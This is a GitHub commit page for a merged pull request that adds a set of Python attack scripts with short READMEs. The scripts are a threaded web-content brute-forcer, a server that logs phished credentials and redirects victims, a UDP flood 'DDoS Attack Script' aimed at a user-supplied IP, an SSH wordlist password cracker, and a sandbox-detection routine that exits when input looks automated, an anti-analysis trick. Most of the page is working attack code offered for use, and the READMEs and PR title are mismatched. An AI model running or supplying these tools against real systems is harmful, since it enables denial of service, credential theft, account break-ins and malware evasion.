Skip to content

Commit de7ee7d

Browse files
Merge pull request #471 from Kalivarapubindusree/IP8
Sniffer_Id_Header_Decode_Script
2 parents 676e9f7 + 2ea33cb commit de7ee7d

12 files changed

Lines changed: 463 additions & 0 deletions

File tree

Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
import queue
2+
import threading
3+
import urllib.request
4+
import urllib.error
5+
import urllib.parse
6+
7+
threads = 50
8+
target_url = "http://testphp.vulnweb.com"
9+
wordlist_file = "all.txt"
10+
resume = None
11+
user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0"
12+
13+
14+
def build_wordlist(wordlst_file):
15+
with open(wordlst_file, "r") as fd:
16+
raw_words = [line.strip() for line in fd]
17+
18+
words = queue.Queue()
19+
found_resume = not bool(resume)
20+
21+
for word in raw_words:
22+
if found_resume or word == resume:
23+
words.put(word)
24+
found_resume = True
25+
26+
return words
27+
28+
29+
def dir_bruter(extensions=None):
30+
while not word_queue.empty():
31+
attempt = word_queue.get()
32+
attempt_list = [f"/{attempt}/"] if "." not in attempt else [f"/{attempt}"]
33+
34+
if extensions:
35+
attempt_list.extend([f"/{attempt}{extension}" for extension in extensions])
36+
37+
for brute in attempt_list:
38+
url = f"{target_url}{urllib.parse.quote(brute)}"
39+
try:
40+
headers = {"User-Agent": user_agent}
41+
r = urllib.request.Request(url, headers=headers)
42+
response = urllib.request.urlopen(r)
43+
if len(response.read()):
44+
print(f"[{response.code}] => {url}")
45+
except urllib.error.HTTPError as e:
46+
if e.code != 404:
47+
print(f"!!! {e.code} => {url}")
48+
49+
50+
word_queue = build_wordlist(wordlist_file)
51+
file_extensions = [".php", ".bak", ".orig", ".inc"]
52+
53+
for _ in range(threads):
54+
t = threading.Thread(target=dir_bruter, args=(file_extensions,))
55+
t.start()

Content_Bruter_Script/README.md

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
# Jwt_Secret_Bruteforce
2+
3+
Short description of package/script
4+
5+
- This Script Was simple to setup
6+
- Need import queue ,threading ,urllib.request, urllib.error, urllib.parse
7+
8+
## Setup instructions
9+
10+
Just Need to Import queue ,threading ,urllib.request, urllib.error, urllib.parse then run the Content_Bruter_Script.py file and for running python3 is must be installed!
11+
12+
## Detailed explanation of script, if needed
13+
14+
This Script Is Only for Comtent_Bruteforce use only!
15+
16+
## Author(s)
17+
18+
Kalivarapubindusree
Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
import http.server
2+
import socketserver
3+
import urllib.parse
4+
5+
6+
class CredRequestHandler(http.server.SimpleHTTPRequestHandler):
7+
def do_POST(self):
8+
content_length = int(self.headers['Content-Length'])
9+
creds = self.rfile.read(content_length).decode('utf-8')
10+
print(creds)
11+
site = self.path[1:]
12+
self.send_response(301)
13+
self.send_header('Location', urllib.parse.unquote(site))
14+
self.end_headers()
15+
16+
17+
server = socketserver.TCPServer(('0.0.0.0', 8080), CredRequestHandler)
18+
server.serve_forever()

Cred_Server_Script/README.md

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
# Cred_Server_Script
2+
3+
Short description of package/script
4+
5+
- This Script Was simple to setup
6+
- Need import http.server, socketserver, urllib.parse
7+
8+
## Setup instructions
9+
10+
Just Need to Import http.server, socketserver, urllib.parse then run the Cred_Server_Script.py file and for running python3 is must be installed!
11+
12+
## Detailed explanation of script, if needed
13+
14+
This Script Is Only for Cred_Server_ use only!
15+
16+
## Author(s)
17+
18+
Kalivarapubindusree
Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
import sys
2+
import os
3+
import time
4+
import socket
5+
import random
6+
from datetime import datetime
7+
8+
# Code Time
9+
now = datetime.now()
10+
hour, minute, day, month, year = now.hour, now.minute, now.day, now.month, now.year
11+
12+
# Create a UDP socket
13+
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
14+
bytes = random._urandom(1490)
15+
16+
# Clear the screen
17+
os.system("clear")
18+
19+
# Print header
20+
print("DDoS Attack Script")
21+
print("Author : HA-MRX")
22+
print("You Tube : https://www.youtube.com/channel/UCCgy7i_A5yhAEdY86rPOinA")
23+
print("github : https://github.com/Ha3MrX")
24+
print("Facebook : https://www.facebook.com/muhamad.jabar222")
25+
print()
26+
27+
# Get the target IP and port from the user
28+
ip = input("IP Target : ")
29+
port = int(input("Port : "))
30+
31+
# Clear the screen
32+
os.system("clear")
33+
print("Attack Starting")
34+
35+
# Attack loop
36+
for _ in range(5):
37+
time.sleep(5)
38+
print(f"[{'=' * (len(_) + 1)}{' ' * (4 - len(_))}] {_ * 25}%")
39+
40+
sent = 0
41+
while True:
42+
sock.sendto(bytes, (ip, port))
43+
sent += 1
44+
port += 1
45+
print(f"Sent {sent} packet to {ip} through port: {port}")
46+
if port == 65534:
47+
port = 1

Ddos_Attack_Script/README.md

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
# DDOS_Attack_Script
2+
3+
Short description of package/script
4+
5+
- This Script Was simple to setup
6+
- Need import sys, os, time, socket, random, datetime
7+
8+
## Setup instructions
9+
10+
Just Need to do run this command in the shell "pip install -r requirements.txt" then run the Python DDOS_Attack_Script.py file and for running python3 is must be installed!
11+
12+
## Detailed explanation of script, if needed
13+
14+
This Script Is Only for DDOS attack use only!
15+
16+
## Author(s)
17+
18+
Kalivarapubindusree

SSH_Cracker_Script/README.md

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
# SSH_Cracker
2+
Short description of package/script
3+
4+
- This Script Was simple to setup
5+
- Need import pxssh, pexpect optprase
6+
7+
## Setup instructions
8+
9+
Just Need to Import pxssh, pexpect optprase then run the SSh_Cracker.py file and for running python3 is must be installed!
10+
11+
## Detailed explanation of script, if needed
12+
13+
This Script Is Only for SSH_Craking use only!
Lines changed: 76 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,76 @@
1+
#!/usr/bin/env python
2+
3+
from pexpect import pxssh
4+
from optparse import *
5+
6+
7+
class colors:
8+
def __init__(self):
9+
self.blue = "\033[94m"
10+
self.red = "\033[91m"
11+
self.end = "\033[0m"
12+
self.bold = "\033[1m"
13+
cl = colors()
14+
15+
16+
print (cl.blue+"""
17+
18+
*--------------------------------------*
19+
| |
20+
| |
21+
| |
22+
*--------------------------------------*
23+
_ _ _ _
24+
| |__ __ _ ___| | _| | __ _| |__
25+
| '_ \ / _` |/ __| |/ / |/ _` | '_ \
26+
| | | | (_| | (__| <| | (_| | |_) |
27+
|_| |_|\__,_|\___|_|\_\_|\__,_|_.__/
28+
29+
Happy Hacking
30+
----------------
31+
32+
"""+cl.end)
33+
parser = OptionParser("""
34+
35+
#Usage:
36+
37+
python ssh.py -t <Target Ip> -u <User> -p <Password file>
38+
39+
40+
""")
41+
42+
def connect(host, user, password):
43+
try:
44+
s = pxssh.pxssh()
45+
s.login(host, user, password)
46+
print cl.red+("\n[+] Password Found: [ {} ] ".format(password))+cl.end
47+
print ("\n[For Connect With SSH Service Write] : ssh {}@{}".format(user,host))
48+
print "[Then Enter Password]: ",password
49+
print "\n\t* Done *\n"
50+
exit(0)
51+
except Exception:
52+
return None
53+
try:
54+
parser.add_option("-t",dest="target",type="string")
55+
parser.add_option("-u",dest="user",type="string")
56+
parser.add_option("-p",dest="password",type="string")
57+
(options, args) = parser.parse_args()
58+
if options.target == None or options.user == None or options.password == None:
59+
print(parser.usage)
60+
exit(0)
61+
else:
62+
host = str(options.target)
63+
user = str(options.user)
64+
password = str(options.password)
65+
66+
read = open(password,'r')
67+
for pas in read:
68+
password = pas.strip('\n')
69+
print "Testing Passwd: "+password
70+
connect(host, user, password)
71+
72+
except KeyboardInterrupt:
73+
print "\n[!] Exit Programme"
74+
exit(0)
75+
76+
print "\n[-] Oops Password SSH Service Not Found :(\n"

Sandbox_Detect_Script/README.md

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
# Sandbox_Detect_Script
2+
3+
Short description of package/script
4+
5+
- This Script Was simple to setup
6+
- Need import ctypes, random, time, sys
7+
8+
## Setup instructions
9+
10+
Just Need to Import ctypes, random, time, sys then run the Sandbox_Detect.py file and for running python3 is must be installed!
11+
12+
## Detailed explanation of script, if needed
13+
14+
This Script Is Only for Sandbox_Detect use only!
15+
16+
## Author(s)
17+
18+
Kalivarapubindusree
Lines changed: 98 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,98 @@
1+
import ctypes
2+
import random
3+
import time
4+
import sys
5+
6+
user32 = ctypes.windll.user32
7+
kernel32 = ctypes.windll.kernel32
8+
9+
keystrokes = 0
10+
mouse_clicks = 0
11+
double_clicks = 0
12+
13+
14+
def get_last_input():
15+
struct_lastinputinfo = ctypes.Structure()
16+
struct_lastinputinfo.cbSize = ctypes.sizeof(struct_lastinputinfo)
17+
18+
# Get the last input registered
19+
user32.GetLastInputInfo(ctypes.byref(struct_lastinputinfo))
20+
21+
# Now determine how long the machine has been running
22+
run_time = kernel32.GetTickCount()
23+
elapsed = run_time - struct_lastinputinfo.dwTime
24+
print(f"[*] It's been {elapsed} milliseconds since the last input event.")
25+
return elapsed
26+
27+
28+
def get_key_press():
29+
global mouse_clicks
30+
global keystrokes
31+
32+
for i in range(0, 0xff):
33+
if user32.GetAsyncKeyState(i) == -32767:
34+
# 0x1 is the code for a left mouse click
35+
if i == 1:
36+
mouse_clicks += 1
37+
return time.time()
38+
else:
39+
keystrokes += 1
40+
return None
41+
42+
43+
def detect_sandbox():
44+
global mouse_clicks
45+
global keystrokes
46+
47+
max_keystrokes = random.randint(10, 25)
48+
max_mouse_clicks = random.randint(5, 25)
49+
50+
double_clicks = 0
51+
max_double_clicks = 10
52+
double_click_threshold = 0.250
53+
first_double_click = None
54+
55+
average_mousetime = 0
56+
max_input_threshold = 30000
57+
58+
previous_timestamp = None
59+
detection_complete = False
60+
61+
last_input = get_last_input()
62+
63+
# If we hit our threshold, let's bail out
64+
if last_input >= max_input_threshold:
65+
sys.exit(0)
66+
67+
while not detection_complete:
68+
keypress_time = get_key_press()
69+
if keypress_time is not None and previous_timestamp is not None:
70+
71+
# Calculate the time between double clicks
72+
elapsed = keypress_time - previous_timestamp
73+
74+
# The user double clicked
75+
if elapsed <= double_click_threshold:
76+
double_clicks += 1
77+
78+
if first_double_click is None:
79+
# Grab the timestamp of the first double click
80+
first_double_click = time.time()
81+
82+
else:
83+
# Did they try to emulate a rapid succession of clicks?
84+
if double_clicks == max_double_clicks:
85+
if keypress_time - first_double_click <= (max_double_clicks * double_click_threshold):
86+
sys.exit(0)
87+
88+
# We are happy there's enough user input
89+
if keystrokes >= max_keystrokes and double_clicks >= max_double_clicks and mouse_clicks >= max_mouse_clicks:
90+
return
91+
previous_timestamp = keypress_time
92+
93+
elif keypress_time is not None:
94+
previous_timestamp = keypress_time
95+
96+
97+
detect_sandbox()
98+
print("We are ok!")

0 commit comments

Comments
 (0)